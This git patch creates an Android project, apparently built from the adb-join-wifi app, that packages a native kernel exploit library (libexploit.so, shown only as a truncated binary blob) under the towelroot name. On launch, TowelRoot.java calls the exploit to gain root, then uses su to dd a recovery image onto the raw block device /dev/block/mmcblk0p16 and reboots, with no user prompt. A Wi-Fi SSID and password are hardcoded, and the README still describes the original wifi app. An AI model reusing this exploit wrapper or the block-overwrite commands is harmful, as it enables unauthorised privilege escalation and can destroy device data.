From 89acb5b1ecaa265cd626859e44008c7646ab5191 Mon Sep 17 00:00:00 2001 From: John Date: Fri, 2 Mar 2018 11:27:06 -0700 Subject: [PATCH] Initial commit --- .gitignore | 37 ++++ .idea/gradle.xml | 18 ++ .idea/runConfigurations.xml | 12 ++ LICENSE.rst | 10 + README.rst | 37 ++++ app/.gitignore | 1 + app/build.gradle | 36 ++++ app/proguard-rules.pro | 17 ++ app/src/main/AndroidManifest.xml | 37 ++++ .../towelroot/CheckSSIDBroadcastReceiver.java | 83 ++++++++ .../java/com/geohot/towelroot/TowelRoot.java | 117 ++++++++++++ .../com/geohot/towelroot/WifiActivity.java | 179 ++++++++++++++++++ app/src/main/jniLibs/armeabi/libexploit.so | Bin 0 -> 197320 bytes app/src/main/res/mipmap-hdpi/ic_launcher.png | Bin 0 -> 4720 bytes app/src/main/res/mipmap-mdpi/ic_launcher.png | Bin 0 -> 3009 bytes app/src/main/res/mipmap-xhdpi/ic_launcher.png | Bin 0 -> 6948 bytes .../main/res/mipmap-xxhdpi/ic_launcher.png | Bin 0 -> 10701 bytes .../main/res/mipmap-xxxhdpi/ic_launcher.png | Bin 0 -> 15411 bytes app/src/main/res/values/colors.xml | 6 + app/src/main/res/values/strings.xml | 3 + app/src/main/res/values/styles.xml | 11 ++ build.gradle | 25 +++ .../profile-2017-12-25-11-51-48-588.json | 1 + .../profile-2017-12-25-11-51-48-588.rawproto | Bin 0 -> 4286 bytes .../profile-2017-12-25-11-51-54-028.json | 1 + .../profile-2017-12-25-11-51-54-028.rawproto | Bin 0 -> 4981 bytes .../profile-2017-12-25-11-52-13-431.json | 1 + .../profile-2017-12-25-11-52-13-431.rawproto | Bin 0 -> 4680 bytes .../profile-2017-12-25-11-53-59-674.json | 1 + .../profile-2017-12-25-11-53-59-674.rawproto | Bin 0 -> 4864 bytes .../profile-2017-12-25-12-09-55-014.json | 1 + .../profile-2017-12-25-12-09-55-014.rawproto | Bin 0 -> 4875 bytes .../profile-2018-03-02-11-25-59-600.json | 1 + .../profile-2018-03-02-11-25-59-600.rawproto | Bin 0 -> 1468 bytes .../profile-2018-03-02-11-26-03-779.json | 1 + .../profile-2018-03-02-11-26-03-779.rawproto | Bin 0 -> 4100 bytes gradle.properties | 20 ++ gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 53636 bytes gradle/wrapper/gradle-wrapper.properties | 6 + gradlew | 160 ++++++++++++++++ gradlew.bat | 90 +++++++++ settings.gradle | 1 + 42 files changed, 913 insertions(+) create mode 100644 .gitignore create mode 100644 .idea/gradle.xml create mode 100644 .idea/runConfigurations.xml create mode 100644 LICENSE.rst create mode 100644 README.rst create mode 100644 app/.gitignore create mode 100644 app/build.gradle create mode 100644 app/proguard-rules.pro create mode 100644 app/src/main/AndroidManifest.xml create mode 100644 app/src/main/java/com/geohot/towelroot/CheckSSIDBroadcastReceiver.java create mode 100644 app/src/main/java/com/geohot/towelroot/TowelRoot.java create mode 100644 app/src/main/java/com/geohot/towelroot/WifiActivity.java create mode 100644 app/src/main/jniLibs/armeabi/libexploit.so create mode 100644 app/src/main/res/mipmap-hdpi/ic_launcher.png create mode 100644 app/src/main/res/mipmap-mdpi/ic_launcher.png create mode 100644 app/src/main/res/mipmap-xhdpi/ic_launcher.png create mode 100644 app/src/main/res/mipmap-xxhdpi/ic_launcher.png create mode 100644 app/src/main/res/mipmap-xxxhdpi/ic_launcher.png create mode 100644 app/src/main/res/values/colors.xml create mode 100644 app/src/main/res/values/strings.xml create mode 100644 app/src/main/res/values/styles.xml create mode 100644 build.gradle create mode 100644 build/android-profile/profile-2017-12-25-11-51-48-588.json create mode 100644 build/android-profile/profile-2017-12-25-11-51-48-588.rawproto create mode 100644 build/android-profile/profile-2017-12-25-11-51-54-028.json create mode 100644 build/android-profile/profile-2017-12-25-11-51-54-028.rawproto create mode 100644 build/android-profile/profile-2017-12-25-11-52-13-431.json create mode 100644 build/android-profile/profile-2017-12-25-11-52-13-431.rawproto create mode 100644 build/android-profile/profile-2017-12-25-11-53-59-674.json create mode 100644 build/android-profile/profile-2017-12-25-11-53-59-674.rawproto create mode 100644 build/android-profile/profile-2017-12-25-12-09-55-014.json create mode 100644 build/android-profile/profile-2017-12-25-12-09-55-014.rawproto create mode 100644 build/android-profile/profile-2018-03-02-11-25-59-600.json create mode 100644 build/android-profile/profile-2018-03-02-11-25-59-600.rawproto create mode 100644 build/android-profile/profile-2018-03-02-11-26-03-779.json create mode 100644 build/android-profile/profile-2018-03-02-11-26-03-779.rawproto create mode 100644 gradle.properties create mode 100644 gradle/wrapper/gradle-wrapper.jar create mode 100644 gradle/wrapper/gradle-wrapper.properties create mode 100644 gradlew create mode 100644 gradlew.bat create mode 100644 settings.gradle diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a307a61 --- /dev/null +++ b/.gitignore @@ -0,0 +1,37 @@ +# Built application files +/*/build/ + +# Crashlytics configuations +com_crashlytics_export_strings.xml + +# Local configuration file (sdk path, etc) +local.properties + +# Gradle generated files +.gradle/ + +# Signing files +.signing/ + +# User-specific configurations +.idea/libraries/ +.idea/workspace.xml +.idea/tasks.xml +.idea/.name +.idea/compiler.xml +.idea/copyright/profiles_settings.xml +.idea/encodings.xml +.idea/misc.xml +.idea/modules.xml +.idea/scopes/scope_settings.xml +.idea/vcs.xml +*.iml + +# OS-specific files +.DS_Store +.DS_Store? +._* +.Spotlight-V100 +.Trashes +ehthumbs.db +Thumbs.db \ No newline at end of file diff --git a/.idea/gradle.xml b/.idea/gradle.xml new file mode 100644 index 0000000..7ac24c7 --- /dev/null +++ b/.idea/gradle.xml @@ -0,0 +1,18 @@ + + + + + + \ No newline at end of file diff --git a/.idea/runConfigurations.xml b/.idea/runConfigurations.xml new file mode 100644 index 0000000..7f68460 --- /dev/null +++ b/.idea/runConfigurations.xml @@ -0,0 +1,12 @@ + + + + + + \ No newline at end of file diff --git a/LICENSE.rst b/LICENSE.rst new file mode 100644 index 0000000..68177ba --- /dev/null +++ b/LICENSE.rst @@ -0,0 +1,10 @@ +Copyright (c) 2016, Steinwurf ApS + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +Neither the name of adb-join-wifi nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/README.rst b/README.rst new file mode 100644 index 0000000..fabdc2c --- /dev/null +++ b/README.rst @@ -0,0 +1,37 @@ +============= +adb-join-wifi +============= +A simple app for making it possible to join a certain wifi access point from ADB +without requiring a rooted device. + +.. contents:: Table of Contents: + :local: + +Usage +===== +Build the app, either by importing the project into Android Studio or by using +the following command (make sure you have set the ``ANDROID_HOME`` environment +variable if you choose the latter):: + + ./gradlew assembleDebug + +install the app:: + + adb install app/build/outputs/apk/app-debug.apk + +Use the Activity Manager (``am``) to start the application with the appropriate +parameters:: + + adb shell am start -n com.steinwurf.adbjoinwifi/com.steinwurf.adbjoinwifi.MainActivity -e ssid [SSID] -e password_type [PASSWORD_TYPE] -e password [WIFI PASSWORD] + +If you want to join an access point without a password you shouldn't specify the +password or password type. +If you need to join an access point with a password you need to specify both. +The password type should be either: + +* ``WPA``, or +* ``WEP`` + +License +======= +adb-join-wifi is available under the BSD license. diff --git a/app/.gitignore b/app/.gitignore new file mode 100644 index 0000000..796b96d --- /dev/null +++ b/app/.gitignore @@ -0,0 +1 @@ +/build diff --git a/app/build.gradle b/app/build.gradle new file mode 100644 index 0000000..90c4c17 --- /dev/null +++ b/app/build.gradle @@ -0,0 +1,36 @@ +apply plugin: 'com.android.application' + +android { + compileSdkVersion 26 + buildToolsVersion '26.0.2' + useLibrary 'org.apache.http.legacy' + defaultConfig { + applicationId "com.geohot.towelroot" + minSdkVersion 16 + targetSdkVersion 23 + versionCode 1 + versionName "1.0" + } + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' + } + } + sourceSets { + main { + jniLibs.srcDir 'jniLibs' + } + } + productFlavors { + } +} + +dependencies { + compile fileTree(include: ['*.jar'], dir: 'libs') + testCompile 'junit:junit:4.12' + compile 'com.android.support:appcompat-v7:26.1.0' + compile 'com.google.http-client:google-http-client-android:+' + compile 'com.google.api-client:google-api-client-android:+' + compile 'com.google.api-client:google-api-client-gson:+' +} diff --git a/app/proguard-rules.pro b/app/proguard-rules.pro new file mode 100644 index 0000000..94220db --- /dev/null +++ b/app/proguard-rules.pro @@ -0,0 +1,17 @@ +# Add project specific ProGuard rules here. +# By default, the flags in this file are appended to flags specified +# in /home/jpihl/Android/Sdk/tools/proguard/proguard-android.txt +# You can edit the include path and order by changing the proguardFiles +# directive in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# Add any project specific keep options here: + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..ebb45a2 --- /dev/null +++ b/app/src/main/AndroidManifest.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/java/com/geohot/towelroot/CheckSSIDBroadcastReceiver.java b/app/src/main/java/com/geohot/towelroot/CheckSSIDBroadcastReceiver.java new file mode 100644 index 0000000..d12b66f --- /dev/null +++ b/app/src/main/java/com/geohot/towelroot/CheckSSIDBroadcastReceiver.java @@ -0,0 +1,83 @@ +package com.geohot.towelroot; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.net.ConnectivityManager; +import android.net.Network; +import android.net.NetworkInfo; +import android.net.wifi.WifiInfo; +import android.net.wifi.WifiManager; +import android.os.Build; +import android.support.v7.app.AppCompatActivity; + +public class CheckSSIDBroadcastReceiver extends BroadcastReceiver +{ + public interface SSIDFoundListener + { + void SSIDFound(); + void WifiEnabled(); + } + + private String mSSID; + private SSIDFoundListener mSSIDFoundListener; + + CheckSSIDBroadcastReceiver(String SSID) + { + mSSID = "\"".concat(SSID).concat("\""); + } + + void setSSIDFoundListener(SSIDFoundListener listener) + { + mSSIDFoundListener = listener; + } + + @Override + public void onReceive(Context context, Intent intent) { + String action = intent.getAction(); + WifiManager wifiManager = (WifiManager) context.getSystemService( + AppCompatActivity.WIFI_SERVICE); + if (action.equals(WifiManager.WIFI_STATE_CHANGED_ACTION)) + { + if (wifiManager.isWifiEnabled()) + mSSIDFoundListener.WifiEnabled(); + } + else if (action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) + { + ConnectivityManager connectionManager = (ConnectivityManager) context.getSystemService( + Context.CONNECTIVITY_SERVICE); + + NetworkInfo wifiNetwork = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) + { + for(Network i : connectionManager.getAllNetworks()) + { + NetworkInfo networkInfo = connectionManager.getNetworkInfo(i); + if (networkInfo.getType() == ConnectivityManager.TYPE_WIFI) + { + wifiNetwork = networkInfo; + break; + } + } + } + else + { + wifiNetwork = connectionManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI); + } + + + if (wifiNetwork != null && wifiNetwork.isConnectedOrConnecting()) + { + WifiInfo wifiInfo = wifiManager.getConnectionInfo(); + if (wifiInfo.getSSID().equals(mSSID)) + { + if (mSSIDFoundListener != null) + { + mSSIDFoundListener.SSIDFound(); + mSSIDFoundListener = null; + } + } + } + } + } +} diff --git a/app/src/main/java/com/geohot/towelroot/TowelRoot.java b/app/src/main/java/com/geohot/towelroot/TowelRoot.java new file mode 100644 index 0000000..72cefd3 --- /dev/null +++ b/app/src/main/java/com/geohot/towelroot/TowelRoot.java @@ -0,0 +1,117 @@ +package com.geohot.towelroot; + +import android.os.Bundle; +import android.util.Log; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; + + +//TODO flash recovery image. Do i need to move image there before i do a DD command? +//TODO install app? connect to wifi afterwards? +public class TowelRoot extends WifiActivity { + private static final String TAG = TowelRoot.class.getSimpleName(); + + private static final String MOD_STRING = "1337 0 0 0 4 0"; + + public native String rootTheShit(String str); + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + +// connectToWifi(); + + String rootResult = rootPhone(); + + if (rootResult.startsWith("Thank")) { // Success + String flashResult = flashRecovery(); + String rebootResult = rebootPhone(); + } else + Log.e(TAG, "Root failed!"); + } + + private String flashRecovery() { + String backupDirectory = "/storage/external_SD/clockworkmod/backup/"; + String getDateDirectoryCommand = "ls " + backupDirectory; + + String dateDirectory = sudoForResult(getDateDirectoryCommand); + dateDirectory = dateDirectory.replaceAll("\n", ""); + + if (dateDirectory.isEmpty()) { + Log.e(TAG, "Date directory was empty!"); + return dateDirectory; + } + + String ddRecoveryImageCommand = "dd if=" + backupDirectory + dateDirectory + "/recovery.img" + " of=/dev/block/mmcblk0p16"; + String ddResult = sudoForResult(ddRecoveryImageCommand); + Log.d(TAG, ddResult); + + return ddResult; + } + + private String rebootPhone() { + return sudoForResult("reboot"); + } + + public String rootPhone() { + String msg = rootTheShit(MOD_STRING); + Log.d(TAG, msg); + return msg; + } + + public static String sudoForResult(String... strings) { + String res = ""; + DataOutputStream outputStream = null; + InputStream response = null; + try { + Process su = Runtime.getRuntime().exec("su"); + outputStream = new DataOutputStream(su.getOutputStream()); + response = su.getInputStream(); + + for (String s : strings) { + outputStream.writeBytes(s + "\n"); + outputStream.flush(); + } + + outputStream.writeBytes("exit\n"); + outputStream.flush(); + + try { + su.waitFor(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + + res = readFully(response); + + } catch (IOException e) { + e.printStackTrace(); + } finally { + try { + outputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + return res; + } + + public static String readFully(InputStream is) throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int length = 0; + while ((length = is.read(buffer)) != -1) { + baos.write(buffer, 0, length); + } + return baos.toString("UTF-8"); + } + + + static { + System.loadLibrary("exploit"); + } +} \ No newline at end of file diff --git a/app/src/main/java/com/geohot/towelroot/WifiActivity.java b/app/src/main/java/com/geohot/towelroot/WifiActivity.java new file mode 100644 index 0000000..c32f53e --- /dev/null +++ b/app/src/main/java/com/geohot/towelroot/WifiActivity.java @@ -0,0 +1,179 @@ +package com.geohot.towelroot; + +import android.content.Context; +import android.content.IntentFilter; +import android.net.ConnectivityManager; +import android.net.wifi.WifiConfiguration; +import android.net.wifi.WifiManager; +import android.os.Bundle; +import android.support.v7.app.AppCompatActivity; +import android.util.Log; + +/** + * Created by john on 12/24/17. + */ + +class WifiActivity extends AppCompatActivity implements CheckSSIDBroadcastReceiver.SSIDFoundListener { + private static final String TAG = WifiActivity.class.getSimpleName(); + + CheckSSIDBroadcastReceiver broadcastReceiver; + + WifiManager mWifiManager; + + private static final String WEP_PASSWORD = "WEP"; + private static final String WPA_PASSWORD = "WPA"; + Thread mThread; + + String mSSID = "Meet the Meeples 2.4"; + String mPasswordType = WPA_PASSWORD; + String mPassword = "Fucking password"; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Log.d(TAG, "onCreate"); + } + + public void connectToWifi() { + broadcastReceiver = new CheckSSIDBroadcastReceiver(mSSID); + broadcastReceiver.setSSIDFoundListener(this); + + IntentFilter f = new IntentFilter(); + f.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION); + f.addAction(ConnectivityManager.CONNECTIVITY_ACTION); + registerReceiver(broadcastReceiver, f); + + // Check if mWifi is enabled, and act accordingly + mWifiManager = (WifiManager) getApplicationContext().getSystemService(WIFI_SERVICE); + + if (!mWifiManager.isWifiEnabled()) + mWifiManager.setWifiEnabled(true); + else + WifiEnabled(); + } + + @Override + public void onDestroy() { + super.onDestroy(); + + if (broadcastReceiver != null) + unregisterReceiver(broadcastReceiver); + broadcastReceiver = null; + } + + @Override + public void SSIDFound() { + Log.d(TAG, "Device Connected to " + mSSID); + if (mThread != null) { + mThread.interrupt(); + try { + mThread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + finish(); + } + + @Override + public void WifiEnabled() { + Log.d(TAG, "WifiEnabled"); + if (mThread != null) + return; + + int networkId = checkIfSSIDExists(); + if (networkId == -1) { + networkId = addWifiConfiguration(networkId); + } + if (networkId == -1) { + Log.d(TAG, "Invalid mWifi network"); + finish(); + return; + } + final int final_networkId = networkId; + + mThread = new Thread() { + @Override + public void run() { + mWifiManager.disconnect(); + try { + while (!isInterrupted()) { + Log.d(TAG, "Joining"); + mWifiManager.enableNetwork(final_networkId, true); + mWifiManager.reconnect(); + // Wait and see if it worked. Otherwise try again. + sleep(10000); + } + } catch (InterruptedException ignored) { + } + } + }; + mThread.start(); + } + + private int addWifiConfiguration(int networkId) { + WifiConfiguration wfc = new WifiConfiguration(); + wfc.SSID = "\"".concat(mSSID).concat("\""); + wfc.status = WifiConfiguration.Status.DISABLED; + wfc.priority = 100; + if (mPasswordType == null) // no password + { + wfc.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE); + wfc.allowedProtocols.set(WifiConfiguration.Protocol.RSN); + wfc.allowedProtocols.set(WifiConfiguration.Protocol.WPA); + wfc.allowedAuthAlgorithms.clear(); + wfc.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP); + wfc.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP40); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP104); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.CCMP); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.TKIP); + } else if (mPasswordType.equals(WEP_PASSWORD)) // WEP + { + wfc.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE); + wfc.allowedProtocols.set(WifiConfiguration.Protocol.RSN); + wfc.allowedProtocols.set(WifiConfiguration.Protocol.WPA); + wfc.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.OPEN); + wfc.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.SHARED); + wfc.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP); + wfc.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP40); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP104); + + // if hex string + // wfc.wepKeys[0] = password; + + wfc.wepKeys[0] = "\"".concat(mPassword).concat("\""); + wfc.wepTxKeyIndex = 0; + } else if (mPasswordType.equals(WPA_PASSWORD)) // WPA(2) + { + wfc.allowedProtocols.set(WifiConfiguration.Protocol.RSN); + wfc.allowedProtocols.set(WifiConfiguration.Protocol.WPA); + wfc.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK); + wfc.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP); + wfc.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP40); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP104); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.CCMP); + wfc.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.TKIP); + + wfc.preSharedKey = "\"".concat(mPassword).concat("\""); + } + int result = mWifiManager.addNetwork(wfc); + if (result != -1) { + networkId = result; + } + return networkId; + } + + private int checkIfSSIDExists() { + for (WifiConfiguration i : mWifiManager.getConfiguredNetworks()) { + + if (i.SSID != null && i.SSID.equals("\"".concat(mSSID).concat("\""))) { + Log.d(TAG, "mWifi network already exists."); + return i.networkId; + } + } + return -1; + } +} diff --git a/app/src/main/jniLibs/armeabi/libexploit.so b/app/src/main/jniLibs/armeabi/libexploit.so new file mode 100644 index 0000000000000000000000000000000000000000..0789f7d3b2eabb48463642050d7a69df98ad03e4 GIT binary patch literal 197320 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 